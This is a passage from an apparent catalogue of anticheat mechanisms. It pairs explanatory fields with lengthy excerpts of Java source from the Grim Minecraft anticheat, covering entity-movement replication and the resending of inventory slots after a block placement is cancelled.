ignores them\n            if (vehicle == null) return;\n\n            // Eject existing passengers for this vehicle\n            for (PacketEntity passenger : new ArrayList<>(vehicle.passengers)) {\n                passenger.eject();\n            }\n\n            // Add the entities as vehicles\n            for (int entityID : passengers) {\n                PacketEntity passenger = player.compensatedEntities.getEntity(entityID);\n                if (passenger == null) continue;\n                passenger.mount(vehicle);\n            }\n        });\n    }\n\n    private void handleMoveEntity(PacketSendEvent event, int entityId, double deltaX, double deltaY, double deltaZ, Float yaw, Float pitch, boolean isRelative, boolean hasPos) {\n        TrackerData data = player.compensatedEntities.getTrackedEntity(entityId);\n\n        final boolean didNotSendPreWave = hasSentPreWavePacket.compareAndSet(false, true);\n        if (didNotSendPreWave) player.sendTransaction();\n\n        if (data != null) {\n            // Update the tracked server's entity position\n            if (isRelative) {\n                // There is a bug where vehicles may start flying due to mojang setting packet position on the client\n                // (Works at 0 ping but causes funny bugs at any higher ping)\n                // As we don't want vehicles to fly, we need to replace it with a teleport if it is player vehicle\n                //\n                // Don't bother with client controlled vehicles though\n                boolean vanillaVehicleFlight = player.compensatedEntities.serverPlayerVehicle != null\n                        && player.compensatedEntities.serverPlayerVehicle == entityId\n                        && player.getClientVersion().isNewerThanOrEquals(ClientVersion.V_1_9)\n                        // TODO: https://discord.com/channels/721686193061888071/721686193515003966/1310659538831020123\n                        // Why does the server now send an entity rel move packet matching the player's vehicle movement every time?\n                        && PacketEvents.getAPI().getServerManager().getVersion().isOlderThan(ServerVersion.V_1_21_2)\n                        && PacketEvents.getAPI().getServerManager().getVersion().isNewerThanOrEquals(ServerVersion.V_1_9);\n\n                // ViaVersion sends two relative packets when moving more than 4 blocks\n                // This is broken and causes the client to interpolate like (0, 4) and (1, 3) instead of (1, 7)\n                // This causes impossible hits, so grim must replace this with a teleport entity packet\n                // Not ideal, but neither is 1.8 players on a 1.9+ server.\n                if (vanillaVehicleFlight ||\n                        ((Math.abs(deltaX) >= 3.9375 || Math.abs(deltaY) >= 3.9375 || Math.abs(deltaZ) >= 3.9375) && player.getClientVersion().isOlderThan(ClientVersion.V_1_9) && PacketEvents.getAPI().getServerManager().getVersion().isNewerThanOrEquals(ServerVersion.V_1_9))) {\n                    player.user.writePacket(new WrapperPlayServerEntityTeleport(entityId, new Vector3d(data.getX() + deltaX, data.getY() + deltaY, data.getZ() + deltaZ), yaw == null ? data.getXRot() : yaw, pitch == null ? data.getYRot() : pitch, false));\n                    event.setCancelled(true);\n                    return;\n                }\n\n                data.setX(data.getX() + deltaX);\n                data.setY(data.getY() + deltaY);\n                data.setZ(data.getZ() + deltaZ);\n            } else {\n                data.setX(deltaX);\n                data.setY(deltaY);\n                data.setZ(deltaZ);\n            }\n            if (yaw != null) {\n                data.setXRot(yaw);\n                data.setYRot(pitch);\n            }\n\n            // We can't hang two relative moves on one transaction\n            if (data.getLastTransactionHung() == player.lastTransactionSent.get()) {\n                player.sendTransaction();\n            }\n            data.setLastTransactionHung(player.lastTransactionSent.get());\n        }\n\n        int lastTrans = player.lastTransactionSent.get();\n\n        player.latencyUtils.addRealTimeTask(lastTrans, () -> {\n            PacketEntity entity = player.compensatedEntities.getEntity(entityId);\n            if (entity == null) return;\n            if (entity instanceof PacketEntityTrackXRot xRotEntity && yaw != null) {\n                xRotEntity.packetYaw = yaw;\n                xRotEntity.steps = entity.isBoat ? 10 : 3;\n            }\n\n            entity.onFirstTransaction(isRelative, hasPos, deltaX, deltaY, deltaZ, player);\n        });\n\n        player.latencyUtils.addRealTimeTask(lastTrans + 1, () -> {\n            PacketEntity entity = player.compensatedEntities.getEntity(entityId);\n            if (entity == null) return;\n            entity.onSecondTransaction();\n        });\n    }\n\n    public void addEntity(int entityID, UUID uuid, EntityType type, Vector3d position, float xRot, float yRot, List<EntityData<?>> entityMetadata, int extraData) {\n        if (despawnedEntitiesThisTransaction.contains(entityID)) {\n            player.sendTransaction();\n        }\n\n        player.compensatedEntities.serverPositionsMap.put(entityID, new TrackerData(position.getX(), position.getY(), position.getZ(), xRot, yRot, type, player.lastTransactionSent.get()));\n\n        player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get(), () -> {\n            PacketEntity entity = player.compensatedEntities.addEntity(entityID, uuid, type, position, xRot, extraData);\n            if (entity instanceof DashableEntity dashable) {\n                player.dashableEntities.addEntity(entityID, dashable);\n            }\n\n            if (entityMetadata != null) {\n                if (EntityMetadataPoseUtil.usesPoseMetadata(entity) && player.getClientVersion().isNewerThanOrEquals(ClientVersion.V_1_14)) {\n                    Pose initialPose = EntityMetadataPoseUtil.getPoseFromMetadata(entityMetadata);\n                    if (initialPose != null) {\n                        entity.currentPose = initialPose;\n                    }\n                }\n\n                player.compensatedEntities.updateEntityMetadata(entityID, entityMetadata);\n            }\n        });\n    }\n\n    private void schedulePoseTransition(WrapperPlayServerEntityMetadata entityMetadata, PacketSendEvent event) {\n        if (player.getClientVersion().isOlderThan(ClientVersion.V_1_14)) return;\n\n        int entityId = entityMetadata.getEntityId();\n        if (entityId == player.entityID) return;\n\n        Pose newPose = EntityMetadataPoseUtil.getPoseFromMetadata(entityMetadata.getEntityMetadata());\n        if (newPose == null) return;\n\n        boolean shouldTrackPoseTransition = false;\n        PacketEntity entity = player.compensatedEntities.getEntity(entityId);\n        if (entity != null) {\n            shouldTrackPoseTransition = EntityMetadataPoseUtil.usesPoseMetadata(entity);\n        } else {\n            // If the client didn't respond to the spawn packet yet, we need to check if we should track the pose transition based on the entity type\n            // is there a better way to do this?\n            TrackerData trackedEntity = player.compensatedEntities.getTrackedEntity(entityId);\n            if (trackedEntity != null) {\n                shouldTrackPoseTransition = EntityMetadataPoseUtil.usesPoseMetadata(trackedEntity.getEntityType());\n            }\n        }\n\n        if (!shouldTrackPoseTransition) return;\n\n        player.sendTransaction();\n        player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get(), () -> {\n            PacketEntity target = player.compensatedEntities.getEntity(entityId);\n            if (target == null) {\n                return;\n            }\n\n            target.beginPoseTransition(newPose);\n        });\n\n        event.getTasksAfterSend().add(() -> {\n            player.sendTransaction();\n            player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get(), () -> {\n                PacketEntity target = player.compensatedEntities.getEntity(entityId);\n                if (target == null) {\n                    return;\n                }\n\n                target.completePoseTransition(newPose);\n            });\n        });\n    }\n\n    private boolean isDirectlyAffectingPlayer(GrimPlayer player, int entityID) {\n        // The attributes for this entity is active, currently\n        return (player.compensatedEntities.serverPlayerVehicle == null && entityID == player.entityID) ||\n                (player.compensatedEntities.serverPlayerVehicle != null && entityID == player.compensatedEntities.serverPlayerVehicle);\n    }\n\n    public void onEndOfTickEvent(boolean async, boolean flush) {\n        // Only send a transaction at the end of the tick if we are tracking players\n        player.sendTransaction(async);\n        if (flush) player.user.flushPackets();\n    }\n\n    public void tickStartTick() {\n        hasSentPreWavePacket.set(false);\n    }\n\n    @Override\n    public void onReload(@NotNull ConfigManager config) {\n        maxFireworkBoostPing = config.getIntElse(\"max-ping-firework-boost\", 1000);\n    }\n\n}\n// NOTE (AI): The file is the general entity and item replication listener; the S2F branch is the SET_SLOT case near the end (window id 0 only). The double scheduling exists because a 1.8 client can act on the slot change one tick later.",
       "code_source": "GrimAnticheat-Grim, common/src/main/java/ac/grim/grimac/events/packets/PacketEntityReplication.java",
       "variations": "The only other anticheat that names the packet is Negativity, whose PacketType enum lists SET_SLOT as a clientbound constant; it is not consumed by any check there."
      },
      {
       "name": "SetSlot resync on cancelled place (Grim)",
       "found_in": [
        "GrimAnticheat-Grim"
       ],
       "purpose": "Re-send the authoritative held-item slot to the client after a block place is cancelled, so the client's view cannot desync from the server.",
       "how_it_works": "CheckManagerListener handles the block-place packet; when the placement is cancelled the server-side inventory no longer matches what the client predicted, so the listener sends a WrapperPlayServerSetSlot for the main hand (slot 36 + selected) or the offhand (slot 45) carrying the platform player's actual item. The code comment calls this 'stop inventory desync from cancelling place'.",
       "detects": "Not a detection: a correction path that prevents ghost-item and desync artifacts from cancelled placements, which is what movement modules with inventory side effects tend to produce.",
       "detailed_code": "// ===== FILE: GrimAnticheat-Grim, common/src/main/java/ac/grim/grimac/events/packets/CheckManagerListener.java =====\npackage ac.grim.grimac.events.packets;\n\nimport ac.grim.grimac.GrimAPI;\nimport ac.grim.grimac.checks.impl.badpackets.BadPacketsB;\nimport ac.grim.grimac.player.GrimPlayer;\nimport ac.grim.grimac.utils.anticheat.update.*;\nimport ac.grim.grimac.utils.blockplace.BlockPlaceResult;\nimport ac.grim.grimac.utils.blockplace.ConsumesBlockPlace;\nimport ac.grim.grimac.utils.change.BlockModification;\nimport ac.grim.grimac.utils.data.*;\nimport ac.grim.grimac.utils.inventory.Inventory;\nimport ac.grim.grimac.utils.latency.CompensatedWorld;\nimport ac.grim.grimac.utils.math.VectorUtils;\nimport ac.grim.grimac.utils.nmsutil.*;\nimport com.github.retrooper.packetevents.PacketEvents;\nimport com.github.retrooper.packetevents.event.PacketListenerAbstract;\nimport com.github.retrooper.packetevents.event.PacketListenerPriority;\nimport com.github.retrooper.packetevents.event.PacketReceiveEvent;\nimport com.github.retrooper.packetevents.event.PacketSendEvent;\nimport com.github.retrooper.packetevents.manager.server.ServerVersion;\nimport com.github.retrooper.packetevents.protocol.ConnectionState;\nimport com.github.retrooper.packetevents.protocol.item.ItemStack;\nimport com.github.retrooper.packetevents.protocol.item.type.ItemType;\nimport com.github.retrooper.packetevents.protocol.item.type.ItemTypes;\nimport com.github.retrooper.packetevents.protocol.packettype.PacketType;\nimport com.github.retrooper.packetevents.protocol.player.ClientVersion;\nimport com.github.retrooper.packetevents.protocol.player.DiggingAction;\nimport com.github.retrooper.packetevents.protocol.player.GameMode;\nimport com.github.retrooper.packetevents.protocol.player.InteractionHand;\nimport com.github.retrooper.packetevents.protocol.world.BlockFace;\nimport com.github.retrooper.packetevents.protocol.world.Location;\nimport com.github.retrooper.packetevents.protocol.world.states.WrappedBlockState;\nimport com.github.retrooper.packetevents.protocol.world.states.defaulttags.BlockTags;\nimport com.github.retrooper.packetevents.protocol.world.states.type.StateType;\nimport com.github.retrooper.packetevents.protocol.world.states.type.StateTypes;\nimport com.github.retrooper.packetevents.protocol.world.states.type.StateValue;\nimport com.github.retrooper.packetevents.util.Vector3d;\nimport com.github.retrooper.packetevents.util.Vector3f;\nimport com.github.retrooper.packetevents.util.Vector3i;\nimport com.github.retrooper.packetevents.wrapper.PacketWrapper;\nimport com.github.retrooper.packetevents.wrapper.play.client.*;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerAcknowledgeBlockChanges;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerSetSlot;\nimport org.jetbrains.annotations.NotNull;\n\nimport java.util.function.Predicate;\n\npublic class CheckManagerListener extends PacketListenerAbstract {\n\n    // Manual filter on FINISH_DIGGING to prevent clients setting non-breakable blocks to air\n    private static final Predicate<StateType> BREAKABLE = type -> !type.isAir() && type.getHardness() != -1.0f && type != StateTypes.WATER && type != StateTypes.LAVA;\n\n    public CheckManagerListener() {\n        super(PacketListenerPriority.LOW);\n    }\n\n    private static void placeWaterLavaSnowBucket(GrimPlayer player, ItemStack held, StateType toPlace, InteractionHand hand, int sequence) {\n        HitData data = WorldRayTrace.getNearestBlockHitResult(player, StateTypes.AIR, false, true, true);\n        if (data != null) {\n            BlockPlace blockPlace = new BlockPlace(player, hand, data.position(), data.closestDirection().getFaceValue(), data.closestDirection(), held, data, sequence);\n\n            boolean didPlace = false;\n\n            // Powder snow, lava, and water all behave like placing normal blocks after checking for waterlogging (replace clicked always false though)\n            // If we hit a waterloggable block, then the bucket is directly placed\n            // Otherwise, use the face to determine where to place the bucket\n            if (Materials.isPlaceableWaterBucket(blockPlace.itemStack.getType()) && PacketEvents.getAPI().getServerManager().getVersion().isNewerThanOrEquals(ServerVersion.V_1_13)) {\n                blockPlace.replaceClicked = true; // See what's in the existing place\n                WrappedBlockState existing = blockPlace.getExistingBlockData();\n                if (existing.hasProperty(StateValue.WATERLOGGED) && !existing.isWaterlogged()) {\n                    // Strangely, the client does not predict waterlogged placements\n                    didPlace = true;\n                }\n            }\n\n            if (!didPlace) {\n                // Powder snow, lava, and water all behave like placing normal blocks after checking for waterlogging (replace clicked always false though)\n                blockPlace.replaceClicked = false;\n                blockPlace.set(toPlace);\n            }\n\n            if (player.gamemode != GameMode.CREATIVE) {\n                player.inventory.markSlotAsResyncing(blockPlace);\n                if (hand == InteractionHand.MAIN_HAND) {\n                    player.inventory.inventory.setHeldItem(ItemStack.builder().type(ItemTypes.BUCKET).amount(1).build());\n                } else {\n                    player.inventory.inventory.setPlayerInventoryItem(Inventory.SLOT_OFFHAND, ItemStack.builder().type(ItemTypes.BUCKET).amount(1).build());\n                }\n            }\n        }\n    }\n\n    public static void handleQueuedPlaces(GrimPlayer player, boolean hasLook, float pitch, float yaw, long now) {\n        // Handle queue'd block places\n        BlockPlaceSnapshot snapshot;\n        while ((snapshot = player.placeUseItemPackets.poll()) != null) {\n            double lastX = player.x;\n            double lastY = player.y;\n            double lastZ = player.z;\n\n            player.x = player.packetStateData.lastClaimedPosition.getX();\n            player.y = player.packetStateData.lastClaimedPosition.getY();\n            player.z = player.packetStateData.lastClaimedPosition.getZ();\n\n            boolean lastSneaking = player.isSneaking;\n            player.isSneaking = snapshot.sneaking();\n\n            if (player.inVehicle()) {\n                Vector3d posFromVehicle = BoundingBoxSize.getRidingOffsetFromVehicle(player.compensatedEntities.self.getRiding(), player);\n                player.x = posFromVehicle.getX();\n                player.y = posFromVehicle.getY();\n                player.z = posFromVehicle.getZ();\n            }\n\n            // Less than 15 milliseconds ago means this is likely (fix all look vectors being a tick behind server sided)\n            // Or mojang had the idle packet... for the 1.7/1.8 clients\n            // No idle packet on 1.9+\n            if ((now - player.lastBlockPlaceUseItem < 15 || player.getClientVersion().isOlderThan(ClientVersion.V_1_9)) && hasLook) {\n                player.yaw = yaw;\n                player.pitch = pitch;\n            }\n\n            player.compensatedWorld.startPredicting();\n            handleBlockPlaceOrUseItem(snapshot.wrapper(), player);\n            player.compensatedWorld.stopPredicting(snapshot.wrapper());\n\n            player.x = lastX;\n            player.y = lastY;\n            player.z = lastZ;\n            player.isSneaking = lastSneaking;\n        }\n    }\n\n    public static void handleQueuedBreaks(GrimPlayer player, boolean hasLook, float pitch, float yaw, long now) {\n        BlockBreak blockBreak;\n        while ((blockBreak = player.queuedBreaks.poll()) != null) {\n            double lastX = player.x;\n            double lastY = player.y;\n            double lastZ = player.z;\n\n            player.x = player.packetStateData.lastClaimedPosition.getX();\n            player.y = player.packetStateData.lastClaimedPosition.getY();\n            player.z = player.packetStateData.lastClaimedPosition.getZ();\n\n            if (player.inVehicle()) {\n                Vector3d posFromVehicle = BoundingBoxSize.getRidingOffsetFromVehicle(player.compensatedEntities.self.getRiding(), player);\n                player.x = posFromVehicle.getX();\n                player.y = posFromVehicle.getY();\n                player.z = posFromVehicle.getZ();\n            }\n\n            // Less than 15 milliseconds ago means this is likely (fix all look vectors being a tick behind server sided)\n            // Or mojang had the idle packet... for the 1.7/1.8 clients\n            // No idle packet on 1.9+\n            if ((now - player.lastBlockBreak < 15 || player.getClientVersion().isOlderThan(ClientVersion.V_1_9)) && hasLook) {\n                player.yaw = yaw;\n                player.pitch = pitch;\n            }\n\n            player.checkManager.onPostFlyingBlockBreak(blockBreak);\n\n            player.x = lastX;\n            player.y = lastY;\n            player.z = lastZ;\n        }\n    }\n\n    private static void handleUseItem(GrimPlayer player, ItemStack placedWith, InteractionHand hand, int sequence) {\n        // Lilypads are USE_ITEM (THIS CAN DESYNC, WTF MOJANG)\n        if (placedWith.getType() == ItemTypes.LILY_PAD) {\n            placeLilypad(player, hand, sequence); // Pass a block place because lily pads have a hitbox\n            return;\n        }\n\n        StateType toBucketMat = Materials.transformBucketMaterial(placedWith.getType());\n        if (toBucketMat != null) {\n            placeWaterLavaSnowBucket(player, placedWith, toBucketMat, hand, sequence);\n        }\n\n        if (placedWith.getType() == ItemTypes.BUCKET) {\n            placeBucket(player, hand, sequence);\n        }\n    }\n\n    private static void handleBlockPlaceOrUseItem(PacketWrapper<?> packet, GrimPlayer player) {\n        // Legacy \"use item\" packet\n        if (packet instanceof WrapperPlayClientPlayerBlockPlacement place &&\n                PacketEvents.getAPI().getServerManager().getVersion().isOlderThan(ServerVersion.V_1_9)) {\n\n            if (player.gamemode == GameMode.SPECTATOR || player.gamemode == GameMode.ADVENTURE)\n                return;\n\n            if (place.getFace() == BlockFace.OTHER) {\n                ItemStack placedWith = player.inventory.getHeldItem();\n                if (place.getHand() == InteractionHand.OFF_HAND) {\n                    placedWith = player.inventory.getOffHand();\n                }\n\n                handleUseItem(player, placedWith, place.getHand(), place.getSequence());\n                return;\n            }\n        }\n\n        if (packet instanceof WrapperPlayClientUseItem place) {\n            if (player.gamemode == GameMode.SPECTATOR || player.gamemode == GameMode.ADVENTURE)\n                return;\n\n            ItemStack placedWith = player.inventory.getHeldItem();\n            if (place.getHand() == InteractionHand.OFF_HAND) {\n                placedWith = player.inventory.getOffHand();\n            }\n\n            handleUseItem(player, placedWith, place.getHand(), place.getSequence());\n        }\n\n        // Check for interactable first (door, etc)\n        if (packet instanceof WrapperPlayClientPlayerBlockPlacement place) {\n            ItemStack placedWith = player.inventory.getHeldItem();\n            ItemStack offhand = player.inventory.getOffHand();\n\n            boolean onlyAir = placedWith.isEmpty() && offhand.isEmpty();\n\n            // The offhand is unable to interact with blocks like this... try to stop some desync points before they happen\n            if ((!player.isSneaking || onlyAir) && place.getHand() == InteractionHand.MAIN_HAND) {\n                Vector3i blockPosition = place.getBlockPosition();\n                BlockPlace blockPlace = new BlockPlace(player, place.getHand(), blockPosition, place.getFaceId(), place.getFace(), placedWith, WorldRayTrace.getNearestBlockHitResult(player, null, true, false, false), place.getSequence());\n\n                // Right-clicking a trapdoor/door/etc.\n                StateType placedAgainst = blockPlace.getPlacedAgainstMaterial();\n                if (player.getClientVersion().isOlderThan(ClientVersion.V_1_11) && (placedAgainst == StateTypes.IRON_TRAPDOOR\n                        || placedAgainst == StateTypes.IRON_DOOR || BlockTags.FENCES.contains(placedAgainst))\n                        || player.getClientVersion().isOlderThanOrEquals(ClientVersion.V_1_8) && BlockTags.CAULDRONS.contains(placedAgainst)\n                        || Materials.isClientSideInteractable(placedAgainst)) {\n                    player.checkManager.onPostFlyingBlockPlace(blockPlace);\n                    Vector3i location = blockPlace.position;\n                    player.compensatedWorld.tickOpenable(location.x, location.y, location.z);\n                    return;\n                }\n\n                // This also has side effects\n                // This method is for when the block doesn't always consume the click\n                // This causes a ton of desync's but mojang doesn't seem to care...\n                if (ConsumesBlockPlace.consumesPlace(player, player.compensatedWorld.getBlock(blockPlace.position), blockPlace)) {\n                    player.checkManager.onPostFlyingBlockPlace(blockPlace);\n                    return;\n                }\n            }\n        }\n\n        if (packet instanceof WrapperPlayClientPlayerBlockPlacement place) {\n            if (player.gamemode == GameMode.SPECTATOR || player.gamemode == GameMode.ADVENTURE)\n                return;\n\n            Vector3i blockPosition = place.getBlockPosition();\n            BlockFace face = place.getFace();\n            ItemStack placedWith = player.inventory.getHeldItem();\n            if (place.getHand() == InteractionHand.OFF_HAND) {\n                placedWith = player.inventory.getOffHand();\n            }\n\n            BlockPlace blockPlace = new BlockPlace(player, place.getHand(), blockPosition, place.getFaceId(), face, placedWith, WorldRayTrace.getNearestBlockHitResult(player, null, true, false, false), place.getSequence());\n            // At this point, it is too late to cancel, so we can only flag, and cancel subsequent block places more aggressively\n            player.checkManager.onPostFlyingBlockPlace(blockPlace);\n\n            blockPlace.isInside = place.getInsideBlock().orElse(false);\n\n            if (placedWith.getType().getPlacedType() != null || placedWith.getType() == ItemTypes.FLINT_AND_STEEL || placedWith.getType() == ItemTypes.FIRE_CHARGE) {\n                BlockPlaceResult.getMaterialData(placedWith.getType()).applyBlockPlaceToWorld(player, blockPlace);\n            }\n        }\n    }\n\n    private static void placeBucket(GrimPlayer player, InteractionHand hand, int sequence) {\n        HitData data = WorldRayTrace.getNearestBlockHitResult(player, null, true, false, true);\n\n        if (data != null) {\n            BlockPlace blockPlace = new BlockPlace(player, hand, data.position(), data.closestDirection().getFaceValue(), data.closestDirection(), ItemStack.EMPTY, data, sequence);\n            blockPlace.replaceClicked = true; // Replace the block clicked, not the block in the direction\n\n            boolean placed = false;\n            ItemType type = null;\n\n            if (data.state().getType() == StateTypes.POWDER_SNOW) {\n                blockPlace.set(StateTypes.AIR);\n                type = ItemTypes.POWDER_SNOW_BUCKET;\n                placed = true;\n            }\n\n            if (data.state().getType() == StateTypes.LAVA) {\n                blockPlace.set(StateTypes.AIR);\n                type = ItemTypes.LAVA_BUCKET;\n                placed = true;\n            }\n\n            // We didn't hit fluid source\n            if (!placed && !player.compensatedWorld.isWaterSourceBlock(data.position().getX(), data.position().getY(), data.position().getZ()))\n                return;\n\n            // We can't replace plants with a water bucket\n            if (data.state().getType() == StateTypes.KELP || data.state().getType() == StateTypes.SEAGRASS || data.state().getType() == StateTypes.TALL_SEAGRASS) {\n                return;\n            }\n\n            if (!placed) {\n                type = ItemTypes.WATER_BUCKET;\n            }\n\n            if (PacketEvents.getAPI().getServerManager().getVersion().isNewerThanOrEquals(ServerVersion.V_1_13)) {\n                WrappedBlockState existing = blockPlace.getExistingBlockData();\n                if (existing.hasProperty(StateValue.WATERLOGGED)) { // waterloggable\n                    existing.setWaterlogged(false);\n                    blockPlace.set(existing);\n                    placed = true;\n                }\n            }\n\n            // Therefore, not waterlogged and is a fluid, and is therefore a source block\n            if (!placed) {\n                blockPlace.set(StateTypes.AIR);\n            }\n\n            if (player.gamemode != GameMode.CREATIVE) {\n                player.inventory.markSlotAsResyncing(blockPlace);\n                setPlayerItem(player, hand, type);\n            }\n        }\n    }\n\n    public static void setPlayerItem(GrimPlayer player, InteractionHand hand, ItemType type) {\n        // Give the player a water bucket\n        if (player.gamemode != GameMode.CREATIVE) {\n            if (hand == InteractionHand.MAIN_HAND) {\n                if (player.inventory.getHeldItem().getAmount() == 1) {\n                    player.inventory.inventory.setHeldItem(ItemStack.builder().type(type).amount(1).build());\n                } else { // Give the player a water bucket\n                    player.inventory.inventory.add(ItemStack.builder().type(type).amount(1).build());\n                    // and reduce the held item\n                    player.inventory.getHeldItem().setAmount(player.inventory.getHeldItem().getAmount() - 1);\n                }\n            } else {\n                if (player.inventory.getOffHand().getAmount() == 1) {\n                    player.inventory.inventory.setPlayerInventoryItem(Inventory.SLOT_OFFHAND, ItemStack.builder().type(type).amount(1).build());\n                } else { // Give the player a water bucket\n                    player.inventory.inventory.add(Inventory.SLOT_OFFHAND, ItemStack.builder().type(type).amount(1).build());\n                    // and reduce the held item\n                    player.inventory.getOffHand().setAmount(player.inventory.getOffHand().getAmount() - 1);\n                }\n            }\n        }\n    }\n\n    private static void placeLilypad(GrimPlayer player, InteractionHand hand, int sequence) {\n        HitData data = WorldRayTrace.getNearestBlockHitResult(player, null, true, false, true);\n\n        if (data != null) {\n            // A lilypad cannot replace a fluid\n            if (player.compensatedWorld.getFluidLevelAt(data.position().getX(), data.position().getY() + 1, data.position().getZ()) > 0)\n                return;\n\n            BlockPlace blockPlace = new BlockPlace(player, hand, data.position(), data.closestDirection().getFaceValue(), data.closestDirection(), ItemStack.EMPTY, data, sequence);\n            blockPlace.replaceClicked = false; // Not possible with use item\n\n            // We checked for a full fluid block below here.\n            if (player.compensatedWorld.getWaterFluidLevelAt(data.position().getX(), data.position().getY(), data.position().getZ()) > 0\n                    || data.state().getType() == StateTypes.ICE || data.state().getType() == StateTypes.FROSTED_ICE) {\n                Vector3i pos = data.position();\n                pos = pos.add(0, 1, 0);\n\n                blockPlace.set(pos, StateTypes.LILY_PAD.createBlockState(CompensatedWorld.blockVersion));\n\n                if (player.gamemode != GameMode.CREATIVE) {\n                    player.inventory.markSlotAsResyncing(blockPlace);\n                    if (hand == InteractionHand.MAIN_HAND) {\n                        player.inventory.inventory.getHeldItem().setAmount(player.inventory.inventory.getHeldItem().getAmount() - 1);\n                    } else {\n                        player.inventory.getOffHand().setAmount(player.inventory.getOffHand().getAmount() - 1);\n                    }\n                }\n            }\n        }\n    }\n\n    @Override\n    public void onPacketReceive(PacketReceiveEvent event) {\n        GrimPlayer player = GrimAPI.INSTANCE.getPlayerDataManager().getPlayer(event.getUser());\n        if (player == null) return;\n\n        if (event.getConnectionState() != ConnectionState.PLAY) {\n            // Allow checks to listen to configuration packets\n            if (event.getConnectionState() != ConnectionState.CONFIGURATION) return;\n            player.checkManager.onPacketReceive(event);\n            return;\n        }\n\n        // Determine if teleport BEFORE we call the pre-prediction vehicle\n        if (event.getPacketType() == PacketType.Play.Client.VEHICLE_MOVE) {\n            WrapperPlayClientVehicleMove move = new WrapperPlayClientVehicleMove(event);\n            Vector3d position = move.getPosition();\n            player.packetStateData.lastPacketWasTeleport = player.getSetbackTeleportUtil().checkVehicleTeleportQueue(position.getX(), position.getY(), position.getZ());\n        }\n\n        TeleportAcceptData teleportData = null;\n\n        if (WrapperPlayClientPlayerFlying.isFlying(event.getPacketType())) {\n            player.serverOpenedInventoryThisTick = false;\n\n            WrapperPlayClientPlayerFlying flying = new WrapperPlayClientPlayerFlying(event);\n\n            Location location = flying.getLocation();\n            Vector3d position = VectorUtils.clampVector(location.getPosition());\n            // Teleports must be POS LOOK\n            teleportData = flying.hasPositionChanged() && flying.hasRotationChanged() ? player.getSetbackTeleportUtil().checkTeleportQueue(position.getX(), position.getY(), position.getZ(), location.getYaw(), location.getPitch()) : new TeleportAcceptData();\n            player.packetStateData.lastPacketWasTeleport = teleportData.isTeleport();\n\n            if (flying.hasRotationChanged() && !flying.hasPositionChanged() && !flying.isOnGround() && !flying.isHorizontalCollision()) {\n                RotationData data = player.pendingRotations.peek();\n\n                if (data != null && data.transaction() == player.getLastTransactionReceived()) {\n                    player.pendingRotations.remove();\n                    if (data.allowRotation(location.getYaw(), location.getPitch())) {\n                        player.packetStateData.lastPacketWasTeleport = true;\n                    } else {\n                        player.checkManager.getCheck(BadPacketsB.class).flag();\n                    }\n                }\n            }\n\n            player.packetStateData.lastPacketWasOnePointSeventeenDuplicate = isDuplicatePacket(player, flying);\n            if (player.packetStateData.lastPacketWasOnePointSeventeenDuplicate) {\n                handleDuplicatePacket(player, event, flying);\n            }\n        }\n\n        if (player.inVehicle() ? event.getPacketType() == PacketType.Play.Client.VEHICLE_MOVE : WrapperPlayClientPlayerFlying.isFlying(event.getPacketType()) && !player.packetStateData.lastPacketWasOnePointSeventeenDuplicate) {\n            // Update knockback and explosions immediately, before anything can setback\n            int kbEntityId = player.inVehicle() ? player.getRidingVehicleId() : player.entityID;\n\n            VelocityData calculatedFirstBreadKb = player.checkManager.getKnockbackHandler().calculateFirstBreadKnockback(kbEntityId, player.lastTransactionReceived.get());\n            VelocityData calculatedRequireKb = player.checkManager.getKnockbackHandler().calculateRequiredKB(kbEntityId, player.lastTransactionReceived.get(), false);\n            player.firstBreadKB = calculatedFirstBreadKb == null ? player.firstBreadKB : calculatedFirstBreadKb;\n            player.likelyKB = calculatedRequireKb == null ? player.likelyKB : calculatedRequireKb;\n\n            VelocityData calculateFirstBreadExplosion = player.checkManager.getExplosionHandler().getFirstBreadAddedExplosion(player.lastTransactionReceived.get());\n            VelocityData calculateRequiredExplosion = player.checkManager.getExplosionHandler().getPossibleExplosions(player.lastTransactionReceived.get(), false);\n            player.firstBreadExplosion = calculateFirstBreadExplosion == null ? player.firstBreadExplosion : calculateFirstBreadExplosion;\n            player.likelyExplosions = calculateRequiredExplosion == null ? player.likelyExplosions : calculateRequiredExplosion;\n        }\n\n        player.checkManager.onPrePredictionReceivePacket(event);\n\n        // The player flagged crasher or timer checks, therefore we must protect predictions against these attacks\n        if (event.isCancelled() && (WrapperPlayClientPlayerFlying.isFlying(event.getPacketType()) || event.getPacketType() == PacketType.Play.Client.VEHICLE_MOVE)) {\n            player.packetStateData.cancelDuplicatePacket = false;\n            return;\n        }\n\n        if (WrapperPlayClientPlayerFlying.isFlying(event.getPacketType())) {\n            WrapperPlayClientPlayerFlying flying = new WrapperPlayClientPlayerFlying(event);\n            Location pos = flying.getLocation();\n            boolean ignoreRotation = player.packetStateData.lastPacketWasOnePointSeventeenDuplicate && player.isIgnoreDuplicatePacketRotation();\n            handleFlying(player, pos.getX(), pos.getY(), pos.getZ(), ignoreRotation ? 0 : pos.getYaw(), ignoreRotation ? 0 : pos.getPitch(), flying.hasPositionChanged(), flying.hasRotationChanged() && !ignoreRotation, flying.isOnGround(), teleportData);\n        }\n\n        if (event.getPacketType() == PacketType.Play.Client.VEHICLE_MOVE && player.inVehicle()) {\n            WrapperPlayClientVehicleMove move = new WrapperPlayClientVehicleMove(event);\n            Vector3d position = move.getPosition();\n\n            player.lastX = player.x;\n            player.lastY = player.y;\n            player.lastZ = player.z;\n\n            Vector3d clamp = VectorUtils.clampVector(position);\n            player.x = clamp.getX();\n            player.y = clamp.getY();\n            player.z = clamp.getZ();\n\n            player.yaw = move.getYaw();\n            player.pitch = move.getPitch();\n\n            final VehiclePositionUpdate update = new VehiclePositionUpdate(clamp, position, move.getYaw(), move.getPitch(), move.isOnGround(), player.packetStateData.lastPacketWasTeleport);\n            player.checkManager.onVehiclePositionUpdate(update);\n\n            player.packetStateData.receivedSteerVehicle = false;\n        }\n\n        if (event.getPacketType() == PacketType.Play.Client.PLAYER_DIGGING) {\n            handleDigging(player, event);\n        }\n\n        if (event.getPacketType() == PacketType.Play.Client.PLAYER_BLOCK_PLACEMENT) {\n            WrapperPlayClientPlayerBlockPlacement packet = new WrapperPlayClientPlayerBlockPlacement(event);\n            player.lastBlockPlaceUseItem = System.currentTimeMillis();\n\n            ItemStack placedWith = 